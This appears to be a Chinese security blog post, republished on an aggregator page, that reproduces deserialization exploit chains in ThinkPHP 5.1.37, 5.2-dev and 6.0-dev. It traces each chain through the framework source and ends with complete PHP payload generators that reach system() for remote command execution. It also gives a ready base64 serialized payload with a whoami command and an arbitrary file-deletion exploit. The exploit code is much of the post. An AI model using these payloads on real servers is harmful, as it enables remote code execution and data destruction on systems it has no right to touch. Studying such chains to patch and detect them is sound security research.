thinkphp json_原创干货 | Thinkphp序列化合总

9cd1c6ea1cf177a8ec4409ab6d3e2684.png

听说转发文章

会给你带来好运

最近Thinkphp几个版本都出了反序列化利用链,这里集结在一起,下面是复现文章,poc会放在最后01Thinkphp5.1.37

环境搭建

composercreate-project topthink/think=5.1.37 v5.1.37

poc演示截图

a7e7342bd9ea61f86209c4844d9793a4.png

调用链

e5d4a93c90ecfecdd819c6380a575faf.png

单步调试

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

public function __destruct(){  $this->close();  $this->removeFiles();}
private function removeFiles(){    foreach ($this->files as $filename) {        if (file_exists($filename)) {            @unlink($filename);        }    }    $this->files = [];}

这里同时也存在一个任意文件删除的漏洞,exp如下

<?php namespace think\process\pipes;class Pipes{}class Windows extends Pipes{    private $files = [];    public function __construct(){        $this->files=['C:\FakeD\Software\phpstudy\PHPTutorial\WWW\shell.php'];    }}echo base64_encode(serialize(new Windows()));

这里$filename会被当做字符串处理,而__toString当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString方法。

ed6cf4c26b65f145598f5838847012f8.png

//thinkphp\library\think\model\concern\Conversion.phppublic function __toString(){    return $this->toJson();}
//thinkphp\library\think\model\concern\Conversion.phppublic function toJson($options = JSON_UNESCAPED_UNICODE){    return json_encode($this->toArray(), $options);}
//thinkphp\library\think\model\concern\Conversion.phppublic function toArray(){    $item       = [];    $hasVisible = false;    ...    if (!empty($this->append)) {  foreach ($this->append as $key => $name) {    if (is_array($name)) {      // 追加关联对象属性      $relation = $this->getRelation($key);      if (!$relation) {        $relation = $this->getAttr($key);        if ($relation) {          $relation->visible($name);        }      }  ...}
//thinkphp\library\think\model\concern\Attribute.phppublic function getAttr($name, &$item = null){    try {        $notFound = false;        $value    = $this->getData($name);    } catch (InvalidArgumentException $e) {        $notFound = true;        $value    = null;    }    。。。  return $value;}
//thinkphp\library\think\model\concern\Attribute.phppublic function getData($name = null){  if (is_null($name)) {    return $this->data;  } elseif (array_key_exists($name, $this->data)) {    return $this->data[$name];  } elseif (array_key_exists($name, $this->relation)) {    return $this->relation[$name];  }  throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

这里的this->append是我们可控的,然后通过getRelation(key),但是下面有一个!relation,所以我们只要置空即可,然后调用getAttr(key),再调用getData(name)函数,这里this->data['name']我们可控,之后回到toArray函数,通过这一句话relation->visible(name);我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里

823649f57a59d7fbea82329cbac44abc.png

可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是this对象。

目前我们所能控制的内容就是

9afcf7861ae6c43b0e316ca954da3660.png

也就是我们能调用任意类的任意方法。

下面我们需要找到我们想要调用的方法,参考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最终产生rce的地方是在input函数当中,那我们这里可否直接调用input方法呢,刚刚上面已经说了,参数已经固定死是request类,那我们需要寻找不受这个参数影响的方法。这里采用回溯的方法

public function input($data = [], $name = '', $default = null, $filter = ''){  if (false === $name) {    // 获取原始数据    return $data;  }  $name = (string) $name;  if ('' != $name) {    // 解析name    if (strpos($name, '/')) {      list($name, $type) = explode('/', $name);    }    $data = $this->getData($data, $name);    if (is_null($data)) {      return $default;    }    if (is_object($data)) {      return $data;    }  }  // 解析过滤器  $filter = $this->getFilter($filter, $default);  if (is_array($data)) {    array_walk_recursive($data, [$this, 'filterValue'], $filter);    if (version_compare(PHP_VERSION, '7.1.0', ')) {                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针                $this->arrayReset($data);            }     } else {        $this->filterValue($data, $name, $filter);     }     。。。
protected function getFilter($filter, $default){  if (is_null($filter)) {    $filter = [];  } else {    $filter = $filter ?: $this->filter;    if (is_string($filter) && false === strpos($filter, '/')) {      $filter = explode(',', $filter);    } else {      $filter = (array) $filter;    }  }  $filter[] = $default;  return $filter;}
protected function getData(array $data, $name){  foreach (explode('.', $name) as $val) {    if (isset($data[$val])) {      $data = $data[$val];    } else {      return;    }  }  return $data;}

这里filter可控,data参数不可控,而且name= (string)name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制name变量,使之最好是字符串。同时也要找到能控制data参数

d27fa0654eb553e6f4f9f538a5e0e715.png

public function param($name = '', $default = null, $filter = ''){  if (!$this->mergeParam) {    $method = $this->method(true);    // 自动获取请求变量    switch ($method) {      case 'POST':        $vars = $this->post(false);        break;      case 'PUT':      case 'DELETE':      case 'PATCH':        $vars = $this->put(false);        break;      default:        $vars = [];    }    // 当前请求参数和URL地址中的参数合并    $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));    $this->mergeParam = true;  }  if (true === $name) {    // 获取包含文件上传信息的数组    $file = $this->file();    $data = is_array($file) ? array_merge($this->param, $file) : $this->param;    return $this->input($data, '', $default, $filter);  }  return $this->input($this->param, $name, $default, $filter);}
array_merge($this->param, $this->get(false), $vars, $this->route(false));
public function get($name = '', $default = null, $filter = ''){  if (empty($this->get)) {    $this->get = $_GET;  }  return $this->input($this->get, $name, $default, $filter);}
public function route($name = '', $default = null, $filter = ''){    return $this->input($this->route, $name, $default, $filter);}
public function input($data = [], $name = '', $default = null, $filter = ''){  if (false === $name) {    // 获取原始数据    return $data;  }   ...}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的data参数可控,也就是call_user_func的value,现在差一个条件,那就是name是字符串,继续回溯。

public function isAjax($ajax = false){  $value  = $this->server('HTTP_X_REQUESTED_WITH');  $result = 'xmlhttprequest' == strtolower($value) ? true : false;  if (true === $ajax) {    return $result;  }  $result           = $this->param($this->config['var_ajax']) ? true : $result;  $this->mergeParam = false;  return $result;}

可以看到这里$this->config['var_ajax']可控,那么也就是name可控,所有条件聚齐。成功导致rce。

e2229bf307eb47e0c23c518919f09d1d.png

补充:

<?php function filterValue(&$value,$key,$filters){    if (is_callable($filters)) {                // 调用函数或者方法过滤                $value = call_user_func($filters, $value);            }    return $value;}$data = array('input'=>"asdfasdf",'id'=>'whoami');array_walk_recursive($data, "filterValue", "system");

1bbd40191e1a5aae05d0df58679b195c.png

02Thinkphp5.2.*-dev

环境搭建

composercreate-project topthink/think=5.2.*-dev v5.2

poc演示截图

643679c7702cf3a27dcfe7f60c765400.png

调用链

0930a73c3881966b93620971ed0593bf.png

单步调试

可以看到前面的链跟tp5.1.x的一样,这里不在列举,直接进去toArray函数,可以看到$data可控

public function toArray(): array{  。。。  $data = array_merge($this->data, $this->relation);  foreach ($data as $key => $val) {    if ($val instanceof Model || $val instanceof ModelCollection) {      // 关联模型对象      if (isset($this->visible[$key])) {        $val->visible($this->visible[$key]);      } elseif (isset($this->hidden[$key])) {        $val->hidden($this->hidden[$key]);      }      // 关联模型对象      $item[$key] = $val->toArray();    } elseif (isset($this->visible[$key])) {      $item[$key] = $this->getAttr($key);    } elseif (!isset($this->hidden[$key]) && !$hasVisible) {      $item[$key] = $this->getAttr($key);    }  }  。。。
public function getAttr(string $name){        try {            $relation = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $relation = true;            $value    = null;        }        return $this->getValue($name, $value, $relation);    }
public function getData(string $name = null){        if (is_null($name)) {            return $this->data;        }        $fieldName = $this->getRealFieldName($name);        if (array_key_exists($fieldName, $this->data)) {            return $this->data[$fieldName];            ...         }   }
protected function getRealFieldName(string $name): string{  return $this->strict ? $name : App::parseName($name);  //this->strict默认为true}

可以看到getAttr函数中的value可控,那么导致this->getValue(name,value,relation); 这里的三个参数都可控,跟进this->getValue(name,value,$relation);

protected function getValue(string $name, $value, bool $relation = false){  // 检测属性获取器  $fieldName = $this->getRealFieldName($name);  $method    = 'get' . App::parseName($name, 1) . 'Attr';  if (isset($this->withAttr[$fieldName])) {    if ($relation) {      $value = $this->getRelationValue($name);    }    $closure = $this->withAttr[$fieldName];    $value   = $closure($value, $this->data);

这里fieldName、this->withAttr,导致$closure也可控,最终直接产生RCE。如下图

8188acc08d5def6f7194a1d443e423f7.png

补充:

<?php $a = array();system('whoami',$a);

935ebeaaf238c741bb8b760c0d53fa81.png

74daa665772875c4f8024f079d8b4d60.png

03Thinkphp6.0.*-dev

环境搭建

composercreate-project topthink/think=6.0.*-dev v6.0

poc演示截图

758948dc00a4e66d796d7ffbe9dde72a.png

调用链

34c64699ccd721999572d86c0bfa6a3d.png

单步调试

//vendor\topthink\think-orm\src\Model.phppublic function __destruct(){    if ($this->lazySave) {  //$this->lazySave可控      $this->save();    }}
//vendor\topthink\think-orm\src\Model.phppublic function save(array $data = [], string $sequence = null): bool{  // 数据对象赋值  $this->setAttrs($data);  if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {    return false;  }  $result = $this->exists ? $this->updateData() : $this->insertData($sequence); //this->exists可控  if (false === $result) {    return false;  }
//vendor\topthink\think-orm\src\Model.phppublic function isEmpty(): bool{  return empty($this->data);    //可控}
protected function trigger(string $event): bool{    if (!$this->withEvent) {    //可控      return true;  }  ...}
protected function updateData(): bool{  // 事件回调  if (false === $this->trigger('BeforeUpdate')) {   //可控    return false;  }  $this->checkData();  // 获取有更新的数据  $data = $this->getChangedData();    if (empty($data)) {      //$data可控    // 关联更新    if (!empty($this->relationWrite)) {      $this->autoRelationUpdate();    }    return true;  }  if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {    // 自动写入更新时间    $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);    $this->data[$this->updateTime] = $data[$this->updateTime];  }  // 检查允许字段  $allowFields = $this->checkAllowFields();
public function getChangedData(): array{  $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {    if ((empty($a) || empty($b)) && $a !== $b) {      return 1;    }  //$this->force可控    return is_object($a) || $a != $b ? 1 : 0;  });  // 只读字段不允许更新  foreach ($this->readonly as $key => $field) {    if (isset($data[$field])) {      unset($data[$field]);    }  }  return $data;}
protected function checkAllowFields(): array{  // 检测字段  if (empty($this->field)) {   //$this->field可控    if (!empty($this->schema)) {  //$this->schema可控      $this->field = array_keys(array_merge($this->schema, $this->jsonType));    } else {      $query = $this->db();      $table = $this->table ? $this->table . $this->suffix : $query->getTable();
public function db($scope = []): Query{  /** @var Query $query */  $query = self::$db->connect($this->connection)   //$this->connection可控    ->name($this->name . $this->suffix)   //$this->suffix可控,采用拼接,调用_toString    ->pk($this->pk);

后面的链跟之前的一样,这里就不分析了

f44945f4e3d3e2a029d1759bc2504aaf.png

04所有poc

v5.1.37

<?php namespace think;abstract class Model{    protected $append = [];    private $data = [];    function __construct(){        $this->append = ["ethan"=>["dir","calc"]];        $this->data = ["ethan"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "system";    protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // HTTPS代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    function __construct(){        $this->filter = "system";        $this->config = ["var_ajax"=>''];        $this->hook = ["visible"=>[$this,"isAjax"]];    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{    private $files = [];    public function __construct(){        $this->files=[new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/?>

v5.2.*-dev

<?php namespace think\process\pipes {    class Windows    {        private $files;        public function __construct($files){            $this->files = array($files);        }    }}namespace think\model\concern {    trait Conversion    {        protected $append = array("Smi1e" => "1");    }    trait Attribute    {        private $data;        private $withAttr = array("Smi1e" => "system");        public function get($system){            $this->data = array("Smi1e" => "$system");        }    }}namespace think {    abstract class Model    {        use model\concern\Attribute;        use model\concern\Conversion;    }}namespace think\model{    use think\Model;    class Pivot extends Model{        public function __construct($system){            $this->get($system);        }    }}namespace{  $Conver = new think\model\Pivot("whoami");  $payload = new think\process\pipes\Windows($Conver);  echo base64_encode(serialize($payload));}?>

v6.0.*-dev

<?php /** * Created by PhpStorm. * User: wh1t3P1g */namespace think\model\concern {    trait Conversion{        protected $visible;    }    trait RelationShip{        private $relation;    }    trait Attribute{        private $withAttr;        private $data;        protected $type;    }    trait ModelEvent{        protected $withEvent;    }}namespace think {    abstract class Model{        use model\concern\RelationShip;        use model\concern\Conversion;        use model\concern\Attribute;        use model\concern\ModelEvent;        private $lazySave;        private $exists;        private $force;        protected $connection;        protected $suffix;        function __construct($obj){            if($obj == null){                $this->data = array("wh1t3p1g"=>"whoami");                $this->relation = array("wh1t3p1g"=>[]);                $this->visible= array("wh1t3p1g"=>[]);                $this->withAttr = array("wh1t3p1g"=>"system");            }else{                $this->lazySave = true;                $this->withEvent = false;                $this->exists = true;                $this->force = true;                $this->data = array("wh1t3p1g"=>[]);                $this->connection = "mysql";                $this->suffix = $obj;            }        }    }}namespace think\model {    class Pivot extends \think\Model{        function __construct($obj)        {            parent::__construct($obj);        }    }}namespace {    $pivot1 = new \think\model\Pivot(null);    $pivot2 = new \think\model\Pivot($pivot1);    echo base64_encode(serialize($pivot2));}

所有Thinkphp版本下载链接

https://packagist.org/packages/topthink/framework

e0bcf471e9a63fc4c3db2aa25ae81167.png

● 云众可信征稿进行时

● 原创干货 | 记一次拟真环境的模拟渗透测试

● 原创干货 | 从手工去除花指令到Get Key

● 原创干货 | 浅谈被动探测思路

·END·

云众可信

原创·干货·一起玩

8684737b32739b407d11d461b3c34924.png好看的人才能点23028039cee559df18543669580ee3a3.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/335339.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

笔记本能安装联想智能云教室吗_挑战Jupyter Notebook:云协作、云硬件,上云的Notebook编程环境...

对全世界的 Python 高手而言&#xff0c;Jupyter Notebook 是目前最流行的编程环境&#xff0c;但它也有一些令人难以忍受的缺点。为此&#xff0c;一个位于旧金山的小团队开发了一款名为 Deepnote 的笔记本工具&#xff0c;这是一种云协作、云硬件&#xff0c;上云的 Notebook…

在Linux中su和sudo区别,Linux中su和sudo的用法和区别

目录sudosudo&#xff1a;暂时切换到超级用户模式以执行超级用户权限&#xff0c;提示输入密码时该密码为当前用户的密码&#xff0c;而不是超级账户的密码。缺点是每次执行超级用户权限都要在命令前加上 sudo &#xff0c;优点是在当前终端再使用 sudo 不要再重复输入密码(只对…

python 提升效率_@Python 程序员,如何最大化提升编码效率?

作者 | Enoch CK 译者 | 刘畅 整理 | Jane 出品 | Python大本营 【导语】无论你是一位高级的AI工程师还是学生&#xff0c;你都会在工作或学习过程中需要用到 Python。自 1991 年首次发布后&#xff0c;Python 很快就成为了程序员和技术人员最喜欢的语言。作为一种拥有相对简单…

spring boot rabbitmq_Spring Boot+RabbitMQ 实现延迟消息实现完整版,实用!

本文同步Java知音社区&#xff0c;专注于Java作者&#xff1a;Sam哥哥http://blog.csdn.net/linsongbin1/article/details/80178122概述曾经去网易面试的时候&#xff0c;面试官问了我一个问题&#xff0c;说下完订单后&#xff0c;如果用户未支付&#xff0c;需要取消订单&…

jax-rs jax-ws_信守承诺:针对JAX-RS API的基于合同的测试

jax-rs jax-ws自从我们谈论测试和应用有效的TDD做法以来&#xff0c;已经有一段时间了&#xff0c;特别是与REST&#xff08;ful&#xff09; Web服务和API有关的做法。 但是&#xff0c;这个主题永远都不应忘记&#xff0c;特别是在每个人都在做微服务的世界中&#xff0c;无论…

怎么运行aws的示例程序_使Spring Boot应用程序在AWS上无服务器运行

怎么运行aws的示例程序在之前的 几篇 文章中&#xff0c;我描述了如何设置Spring Boot应用程序并在AWS Elastic Beanstalk上运行它。 尽管这是从物理服务器到云服务器的重要一步&#xff0c;但还有更好的可能&#xff01; 走向无服务器 。 这意味着无需花费任何服务器费用&…

linux useradd 数字,详解linux useradd用户组合权限管理等

1&#xff0c;权限相关概念Rwx任何一个文件都应该由两部分组成&#xff0c;这两部分其实基于文件系统来组织&#xff0c;磁盘分区创建完成后&#xff0c;在高级格式化的时候&#xff0c;就把整个磁盘分区分成两部分&#xff0c;其中一部分是源数据&#xff0c;一部分是来放数据…

junit jndi_使用Spring创建用于JUnit测试的JNDI资源

junit jndi直到最近&#xff0c;我还使用静态方法来设置内存数据库&#xff08;HSQLDB&#xff09;。 我在JUnit测试的setUp / tearDown中调用了这些方法。 当我使用Spring时&#xff0c;这对我来说总是有点不自然&#xff0c;并且所有内容都应在其应用程序上下文中运行。 创建…

c语言程序经过编译以后生成的文件名的后缀为,c语言源文件经过编译后生成文件的后缀是什么...

c语言源文件经过编译后生成文件的后缀是什么c语言源文件经过编译后生成文件的后缀是“.obj”。C语言源程序经过编译程序编译之后&#xff0c;生成一个后缀为“.obj”的文件&#xff0c;最后由称为“连接程序”的软件&#xff0c;把此“.obj”文件与各种库函数连接在一起&#x…

通过PL/SQL developer工具访问远程的Oracle数据库_访问数据库_连接数据库_登录数据库

文章目录工具简介电脑没有安装 Oracle 数据库电脑安装了 Oracle 数据库工具简介 PL/SQL Developer 是 Oracle 数据库开发工具&#xff0c;PL/SQL Developer 功能很强大&#xff0c;可以做为集成调试器&#xff0c;有 SQL 窗口&#xff0c;命令窗口&#xff0c;对象浏览器和性能…

xgboost简单介绍_好文干货|全面理解项目中最主流的集成算法XGBoost 和 LightGBM

点击上方“智能与算法之路”&#xff0c;选择“星标”公众号第一时间获取价值内容本文主要介绍基于 Boosting 框架的主流集成算法&#xff0c;包括 XGBoost 和 LightGBM。送上完整的思维导图&#xff1a;XGBoostXGBoost 是大规模并行 boosting tree 的工具&#xff0c;它是目前…

本地 Windows 如何将 Web 工程部署到远程 Windows 主机上

文章目录第一步&#xff1a;先连接远程 Windows 主机&#xff1a;第二步&#xff1a;连接远程 Windows 主机后&#xff0c;把发布包复制到远程主机上并确定有关的目录第三步&#xff1a;删除远程主机的数据库中的旧数据第四步&#xff1a;创建新的用户和表空间第五步&#xff1…

r语言三维柱状图_R语言三维图的绘制

R语言在可视化方面的地位是毋庸置疑的&#xff0c;但是呢相对于MatalabR语言在三维图形的展示上存在一定的劣势。当然&#xff0c;作为大众的免费软件&#xff0c;指定不服&#xff0c;很多人为此也基于R语言开发了一些相应的三维图的绘制包&#xff0c;像rgl&#xff0c;gg3D&…

从事仪表专业学c语言有用吗,测控专业就业方向有哪些 就业前景比你想象中的好...

测控专业就业方向有哪些?这个专业的就业前景好不好?这些问题都是小伙伴们比较关心的问题&#xff0c;下面随小编一起来了解一下吧。主要就业方向1.智能仪器仪表方向&#xff0c;我觉得这个方向主要是从事仪器仪表&#xff0c;电子产品的软件&#xff0c;硬件研发&#xff0c;…

c语言 将url图片存到本地_python爬虫:爬取男生喜欢的图片

任务目标&#xff1a;1.抓取不同类型的图片2.编写一个GUI界面爬虫程序&#xff0c;打包成exe重新文件3.遇到的难点1.分析如何抓取不同类型的图片首先打开网站&#xff0c;可以看到有如下6个类型的菜单在这里插入图片描述点击不同菜单&#xff0c;发现URL显示如下大胸妹&#xf…

c语言编译后找不到exe,在VS 2015命令提示符中找不到c – rc.exe

我刚刚安装了Windows 10 Creators Update(版本10.0.15063).我安装了多个版本的Visual Studio(2012年,2013年,2015年和2017年).我几周前才安装了VS 2017.问题在“VS2015 x64本机命令提示符”中运行时,CMake(版本3.8.1)不再找到C/C编译器(在VS 2017命令提示符下运行时它可以正常工…

tomcat如何通过配置的方式部署web工程

Workspaces 下有很多工程文件&#xff0c;这个 Workspaces 是 Myeclipse 自动生成的&#xff0c;我们通过 Myeclipse 写的工程都在这个 Workspaces 文件夹下。 我们部署工程到服务器上&#xff0c;就是要每个 WEB 工程里面的 context 文件夹&#xff0c;这个文件夹可以放在 t…

python爬虫源码_Python—爬虫:王者荣耀全套皮肤【附源码】

怎么获取全套皮肤&#xff1f;用钱买&#xff0c;或者用爬虫爬取下来~虽然后者不能穿。这个案例稍微复杂一点&#xff0c;但是一个非常值得学习的项目。具体实现思路&#xff1a;分析网页源代码结构找到合适的入口穷举访问并解析爬取所有英雄所有皮肤图片代码思路/程序流程&…

警惕成教自考_不,保持警惕不会伤害Java。 关于Java许可的评论。

警惕成教自考所以。 Oracle希望通过Java赚钱。 然后&#xff0c;The Register发表了一篇非常对立的文章&#xff0c;上面有一个超级吸引人的标题。 根据他们的消息来源&#xff0c;“ Oracle正在大力加强对声称违反其许可证的Java客户的审计”。 当Twitter诗句对人们批评Oracle…

android colorstatelist_Android 样式系统 | 主题背景属性

在 Android 样式系统系列的前几篇文章中&#xff0c;我们介绍了主题背景与样式的区别&#xff0c;以及为什么说通过主题背景和公共主题背景属性来分解您要实现的内容是一个不错的主意&#xff0c;请点击链接回顾:Android 样式系统 | 主题背景和样式Android 样式系统 | 常见的主…